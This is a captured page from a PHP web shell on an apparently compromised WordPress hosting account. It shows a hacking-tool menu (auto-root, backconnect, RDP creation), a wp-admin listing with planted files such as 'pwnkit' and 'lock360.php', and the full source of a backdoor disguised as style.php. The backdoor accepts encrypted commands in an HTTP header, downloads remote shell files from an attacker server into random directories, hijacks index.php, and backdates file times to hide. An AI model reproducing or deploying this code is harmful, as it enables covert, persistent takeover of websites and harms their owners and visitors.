Linux webm010.cluster123.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.123.20.10 | : 216.73.217.174
Cant Read [ /etc/named.conf ]
8.4.22
pablogiliy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
pablogiliy /
kovenwebsite /
wp-admin /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
maint
[ DIR ]
drwxr-xr-x
network
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
about.php
3.61
KB
-rw-r--r--
admin-ajax.php
5.03
KB
-rw-r--r--
admin-footer.php
2.77
KB
-rw-r--r--
admin-functions.php
479
B
-rw-r--r--
admin-header.php
9.12
KB
-rw-r--r--
admin-post.php
1.97
KB
-rw-r--r--
admin.php
5.24
KB
-rw-r--r--
asdfghj.php
17.48
KB
-rw-r--r--
async-upload.php
4.87
KB
-rw-r--r--
authorize-application.php
10.09
KB
-rw-r--r--
comment.php
11.35
KB
-rw-r--r--
contribute.php
5.59
KB
-rw-r--r--
credits.php
4.11
KB
-rw-r--r--
custom-background.php
489
B
-rw-r--r--
custom-header.php
499
B
-rw-r--r--
customize.php
10.91
KB
-rw-r--r--
edit-comments.php
14.38
KB
-rw-r--r--
edit-form-advanced.php
28.83
KB
-rw-r--r--
edit-form-blocks.php
14.37
KB
-rw-r--r--
edit-form-comment.php
8.34
KB
-rw-r--r--
edit-link-form.php
6.21
KB
-rw-r--r--
edit-tag-form.php
10.44
KB
-rw-r--r--
edit-tags.php
22
KB
-rw-r--r--
edit.php
19.48
KB
-rw-r--r--
erase-personal-data.php
7.33
KB
-rw-r--r--
export-personal-data.php
7.75
KB
-rw-r--r--
export.php
11.02
KB
-rw-r--r--
freedoms.php
4.54
KB
-rw-r--r--
import.php
7.58
KB
-rw-r--r--
index.php
7.68
KB
-rw-r--r--
install-helper.php
6.8
KB
-rw-r--r--
install.php
17.94
KB
-rw-r--r--
link-add.php
934
B
-rw-r--r--
link-manager.php
4.26
KB
-rw-r--r--
link-parse-opml.php
2.63
KB
-rw-r--r--
link.php
2.89
KB
-rw-r--r--
load-scripts.php
2.02
KB
-rw-r--r--
load-styles.php
2.92
KB
-rw-r--r--
lock360.php
1.4
KB
-rw-r--r--
media-new.php
3.18
KB
-rw-r--r--
media-upload.php
3.58
KB
-rw-r--r--
media.php
819
B
-rw-r--r--
menu-header.php
9.82
KB
-rw-r--r--
menu.php
16.97
KB
-rw-r--r--
moderation.php
307
B
-rw-r--r--
ms-admin.php
196
B
-rw-r--r--
ms-delete-site.php
4.19
KB
-rw-r--r--
ms-edit.php
216
B
-rw-r--r--
ms-options.php
229
B
-rw-r--r--
ms-sites.php
215
B
-rw-r--r--
ms-themes.php
217
B
-rw-r--r--
ms-upgrade-network.php
219
B
-rw-r--r--
ms-users.php
215
B
-rw-r--r--
my-sites.php
4.74
KB
-rw-r--r--
nav-menus.php
48.26
KB
-rw-r--r--
network.php
5.39
KB
-rw-r--r--
options-discussion.php
15.4
KB
-rw-r--r--
options-general.php
21.58
KB
-rw-r--r--
options-head.php
621
B
-rw-r--r--
options-media.php
6.35
KB
-rw-r--r--
options-permalink.php
21.21
KB
-rw-r--r--
options-privacy.php
9.95
KB
-rw-r--r--
options-reading.php
10.03
KB
-rw-r--r--
options-writing.php
9.1
KB
-rw-r--r--
options.php
13.45
KB
-rw-r--r--
plugin-editor.php
13.66
KB
-rw-r--r--
plugin-install.php
6.96
KB
-rw-r--r--
plugins.php
30
KB
-rw-r--r--
post-new.php
2.7
KB
-rw-r--r--
post.php
9.97
KB
-rw-r--r--
press-this.php
2.34
KB
-rw-r--r--
privacy-policy-guide.php
3.67
KB
-rw-r--r--
privacy.php
2.52
KB
-rw-r--r--
profile.php
283
B
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
revision.php
5.71
KB
-rw-r--r--
site-editor.php
11.83
KB
-rw-r--r--
site-health-info.php
3.99
KB
-rw-r--r--
site-health.php
10.2
KB
-rw-r--r--
style.php
13.37
KB
-rw-r--r--
term.php
2.2
KB
-rw-r--r--
theme-editor.php
15.59
KB
-rw-r--r--
theme-install.php
23.37
KB
-rw-r--r--
themes.php
48.12
KB
-rw-r--r--
tools.php
3.43
KB
-rw-r--r--
update-core.php
45.43
KB
-rw-r--r--
update.php
12.79
KB
-rw-r--r--
upgrade-functions.php
341
B
-rw-r--r--
upgrade.php
6.33
KB
-rw-r--r--
upload.php
14.84
KB
-rw-r--r--
user-edit.php
39.79
KB
-rw-r--r--
user-new.php
24.05
KB
-rw-r--r--
users.php
23.28
KB
-rw-r--r--
widgets-form-blocks.php
4.97
KB
-rw-r--r--
widgets-form.php
19.17
KB
-rw-r--r--
widgets.php
1.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : style.php
<?php error_reporting(0); class ErrorCode { const E_200400 = 200400; } class MsgText { const PARAM_EMPTY = 'param is empty'; const PARAM_TYPE = 'param type error'; const VALUE_ERROR = 'value error'; const NOCHANGE = 'no change'; const LOCK_FILE_SUCCESS = 'generate lock file success,but lock index.php error'; const LOCK_FILE_ERROR = 'generate lock file error'; const REMOTE_GET_ERROR = 'get remote content error'; const LOCAL_FILE_ERROR = 'generate local file error'; const SUCCESS = 'success'; const LOCAL_FILE_EXISTS = 'local file doesn\'t exist'; const REMOTE_FILE_EXISTS = 'remote file doesn\'t exist'; const RENAME_ERROR = 'rename error'; const INDEX_ERROR = 'index hijack error'; const UNKNOWN_ERROR = 'unknown error'; const DECRYPT_FAIL = 'params decrypt fail'; } function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0) { empty($code) && $code = ErrorCode::E_200400; exit(@json_encode(['code' => $code, 'msg' => $msg, 'extras' => $extras], JSON_UNESCAPED_UNICODE)); } function success($data) { exit(@json_encode(['code' => 200, 'msg' => MsgText::SUCCESS, 'data' => $data], JSON_UNESCAPED_UNICODE)); } function getDirPathsByLevel($level = 6) { $initDir = $_SERVER['DOCUMENT_ROOT']; $dirs = array($initDir); $count = count($dirs); while (count($dirs) > ($count - 1)) { $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } function getUrl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); curl_exec($curl); $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($httpCode === 200) { $content = curl_exec($curl); return ['code' => 200, 'resp' => $content]; } return ['code' => 500, 'resp' => '']; } function getRemoteContent($url) { $content = @file_get_contents($url); if ($content === false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); $content = curl_exec($curl); curl_close($curl); } return !empty($content) && is_string($content) ? $content : ''; } function copyfile($content, $localfile, $isAppend = false, $appendContent = '') { if ($isAppend && !empty($appendContent)) { $content = trim($content); if (substr($content, -2, 2) !== '?>') { $content .= ' ?>'; } $content = $content . PHP_EOL . PHP_EOL . $appendContent; } @file_put_contents($localfile, $content); if (!file_exists($localfile)) { $openedfile = @fopen($localfile, "w"); @fwrite($openedfile, $content); @fclose($openedfile); } if (!file_exists($localfile)) { return false; } return true; } function updateFiletime($filepath) { $ctime = filectime($filepath); $now = time(); if (!($now > $ctime + 31104000)) { $newTime = $now - (mt_rand(15552000, 31104000)); touch($filepath, $newTime, $newTime); return true; } return true; } $privateKey = '-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6 dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+ x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6 GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b 8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9 n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5 jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77 g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r 4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT upBYqTYMlOd+VR7hENMaFqo= -----END PRIVATE KEY-----'; $p = $_SERVER['HTTP_P']; $params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null; if (is_null($params)) { error(MsgText::DECRYPT_FAIL); } $params = json_decode($params, true); if (!is_array($params)) { error(MsgText::PARAM_TYPE, $params); } if (empty($params['server'])) { error('server ' . MsgText::PARAM_EMPTY); } if (empty($params['iden'])) { error('iden ' . MsgText::PARAM_EMPTY); } $iden = isset($params['iden']) ? strtolower($params['iden']) : ''; switch ($iden) { case "beima": $res = doBeima($params); break; case "rename": $res = doRename($params); break; case "index": $res = doIndex($params); break; case "sub": case "htaccess": $res = doSub($params); break; case "lock": $res = doLock($params); break; case "style": $res = doStyle($params); break; default: error('iden ' . MsgText::VALUE_ERROR); } function doBeima($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } empty($params['level']) && $params['level'] = 6; $dirs = getDirPathsByLevel($params['level']); $temp = array_rand($dirs); $createDir = $dirs[$temp] . '/'; $localfilepath = $createDir . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); $beimaurl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $localfilepath); success(compact('localfilepath', 'beimaurl')); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_FILE_EXISTS, compact('remoteFileUrl')); } function doRename($params) { if (empty($params['sourcename'])) { error('sourcename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['rename'])) { error('rename ' . MsgText::PARAM_EMPTY, $params); } if ($params['sourcename'] === $params['rename']) { error(MsgText::NOCHANGE); } $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['sourcename']; $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['rename']; $resSource = $params['server'] . str_replace(strtolower($_SERVER['DOCUMENT_ROOT']), '', strtolower($sourceFile)); $resSource = str_replace('\\', '/', $resSource); if (file_exists($sourceFile)) { if (rename($sourceFile, $renameFile)) { success($renameFile); } else { error(MsgText::RENAME_ERROR, compact('renameFile')); } } else { error(MsgText::LOCAL_FILE_EXISTS, compact('resSource')); } } function doIndex($params) { if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $remoteUrl = $params['server'] . trim($params['shellfile']); $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $content = getRemoteContent($remoteUrl); $content = json_decode($content, true); if (!empty($content['result'])) { $oldContent = ''; if (file_exists($localfilepath)) { $oldContent = @file_get_contents($localfilepath); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.htm'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.htm'); } if (copyfile($content['result'], $localfilepath, true, $oldContent)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::INDEX_ERROR, compact('remoteUrl')); } function doSub($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doLock($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { $lockurl = $params['domain'] . $params['filename']; $lockres = getUrl($lockurl); @unlink($localfilepath); if ($lockres['code'] === 200 && !empty($lockres['resp']) && strpos($lockres['resp'], 'success')) { success($lockres['resp']); } error(MsgText::LOCK_FILE_SUCCESS, compact('lockurl', 'lockres')); } @unlink($localfilepath); error(MsgText::LOCK_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doStyle($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $params['domain'] . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); }
Close